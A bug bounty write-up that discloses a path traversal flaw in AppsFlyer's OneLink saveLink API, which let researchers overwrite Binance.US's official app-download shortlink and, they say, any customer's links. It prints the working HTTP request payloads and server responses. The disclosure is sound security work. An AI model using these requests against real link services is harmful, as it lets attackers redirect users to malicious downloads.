Whose app are you downloading? Link hijacking Binance’s shortlinks through AppsFlyer

While auditing the Binance program through their public bug bounty program, we noticed that some of the site’s shortlinks were being routed through a third-party app analytics platform called AppsFlyer. The shortlinks were available after authenticating to the website in the notifications bar and were hosted on the “binanceus.onelink.me” domain.

binance-notifs.PNG
curl-response.PNG

This was immediately interesting to us as if an attacker were able to overwrite the destination address of the shortlink, they could trick any Binance user into installing a malicious app via updating the “Get the Binance.US App”.

Exploiting Link Hijacking on AppsFlyer

After registering to OneLink, we added a new “fake app” to our account which we used to test with. After adding the app, we were able to claim a “onelink.me” subdomain.

One of the initial unsuccessful things we tried doing was setting our “onelink.me” subdomain to Binance-owned “binanceus.onelink.me”. These functionalities are often vulnerable to pre-existing or client-side checks which are sent out before the actual update request, but sadly AppsFlyer was handling everything correctly through both validating and updating the subdomain in the same HTTP request. We tried to fuzz it a little bit but weren’t able to take over their subdomain.

After moving on, we started to really dig deep into the shortlink functionality. Everything was available through a very straightforward panel. The intended use of the panel was to add user-agent specific tracking shortlinks which would differentiate the HTTP response depending on whether or not the user was on mobile or desktop.

custom-lin.PNG

Before we explored this further, we decided to harvest as much data as possible from the Binance shortlink so that we understood how the actual shortlink was being indexed.

The following photo shows an HTTP request being sent to the normal Binance app installation OneLink URL:

binance-photo-1.PNG

We didn’t understand what the “eT20” value was, so we went ahead and tried changing the “BinanceUSTwitter” to something arbitrary in an attempt to figure out whether or not “eT20” was some sort of identifier for the shortlink:

binance-photo-2.PNG

The link still worked! This meant that “eT20” was likely the identifier for the shortlink. We confirmed this by sending the following HTTP request:

app-not-found.PNG

Since we now had an identifier for the shortlink, we went ahead and attempted to figure out how exactly creating a shortlink worked. It appeared that when we made the account, we were assigned a similar 4-character alphanumeric ID which was set to the front of our shortlinks. Whenever we created a new shortlink or updated an existing one, the same value was sent.

The parameters that were sent to the actual update request were a bit confusing, including full URLs, HTTP request functions, and various different ID formats:

POST /link-management/api/saveLink HTTP/1.1
Host: hq1.appsflyer.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Content-Type: application/json
Content-Length: 643

{"account_id":"acc-jTou2HrR","app_id":null,"link_name":"Blog_test_10_jul_2021","onelink_id":"wmuh","media_source":"Blog","revision":null,"creative_id":null,"shortUrlData":{"longUrl":"https://palisade.onelink.me/wmuh?pid=Blog&c=test2&deep_link_value=test&af_ios_url=https%3A%2F%2Fwww.google.com%2F&af_android_url=https%3A%2F%2Fwww.google.com%2F","id":"wmuh","isOneLink":true,"method":"put","shortlinkId":"c688a4e8","ttl":"-1"},"linkId":"8087b58d-1c1a-4cc8-baad-62c9033e6c89","url":"https://palisade.onelink.me/wmuh?pid=Blog&c=test2&deep_link_value=test&af_ios_url=https%3A%2F%2Fwww.google.com%2F&af_android_url=https%3A%2F%2Fwww.google.com%2F"}

From what appeared to be going on from the listed parameters, the server was sending a PUT request to our own OneLink URL with added parameters HTTP parameter used to update the redirect URL.

We attempted to send the PUT request to our OneLink domain ourselves, but the server responded with an “HTTP 401 Unauthorized” error" which indicated there was likely a bearer and/or authorization based on IP address when the server itself sent the PUT request.

This was super interesting, as if we were able to either (a) replace the ID of the shortlink with our own or (b) leak the hypothetical bearer that the server was sending, we’d be able to update any customer’s shortlink.

The first thing we tried was very simple: replacing our ID with the Binance ID we’d found from earlier. This did not work:

POST /link-management/api/saveLink HTTP/1.1
Host: hq1.appsflyer.com
Content-type: application/json

{"longUrl":"https://binanceus.onelink.me/eT20/BinanceUSTwitter?af_web_dp=https%3A%2F%2Fdfwhhjo8xpvygfl7x98ct1a5pwvmjb.burpcollaborator.net%2Fsamwcyo","id":"eT20","isOneLink":true,"method":"PUT","shortlinkId":"846a3c03","ttl":"-1"}
HTTP/1.1 200 OK
Date: Sun, 11 Jul 2021 01:24:44 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 56
Connection: close
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Etag: W/"38-f7d00KKmA7RTo1tu49tymr55Rm8"
Strict-Transport-Security: max-age=604800
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"status":500,"msgKey":"notifications.error_shortening"}

However, we did have one trick we could try! Path traversal via the “url” parameters:

POST /link-management/api/saveLink HTTP/1.1
Host: hq1.appsflyer.com
Content-type: application/json

{"longUrl":"https://binanceus.onelink.me/OUR_OWN_ID/../eT20/BinanceUSTwitter?af_web_dp=https%3A%2F%2Fdfwhhjo8xpvygfl7x98ct1a5pwvmjb.burpcollaborator.net%2Fsamwcyo","id":"OUR_OWN_ID","isOneLink":true,"method":"PUT","shortlinkId":"846a3c03","ttl":"-1"}
HTTP/1.1 200 OK
Date: Sun, 11 Jul 2021 00:53:01 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 119
Connection: close
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Etag: W/"77-Qa9uHAnegXb6B17nt3yT2wWGl1w"
Strict-Transport-Security: max-age=604800
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"status":200,"linkId":"8087b58d-1c1a-4cc8-baad-62c9033e6c89","shortUrl":"https://binanceus.onelink.me/eT20/testing"}

It worked! The server was validating the ID via the initial path field in the HTTP request, so an attacker could simply provide the value, traverse back to the root, then provide the affected target ID we wanted to overwrite.

We had overwritten the Binance shortlink which was displayed to all Binance users. This additionally meant that we could overwrite any URL on the AppsFlyer OneLink functionality (nearly 12,000 customers including Adidas, eToro, Wayfair, and others).

Summary

An attacker could’ve exploited this vulnerability, specifically targeting Binance, to serve users malicious downloads through the official notifications section of the website. AppsFlyer has over 12,000 other customers who were also affected by the same issue.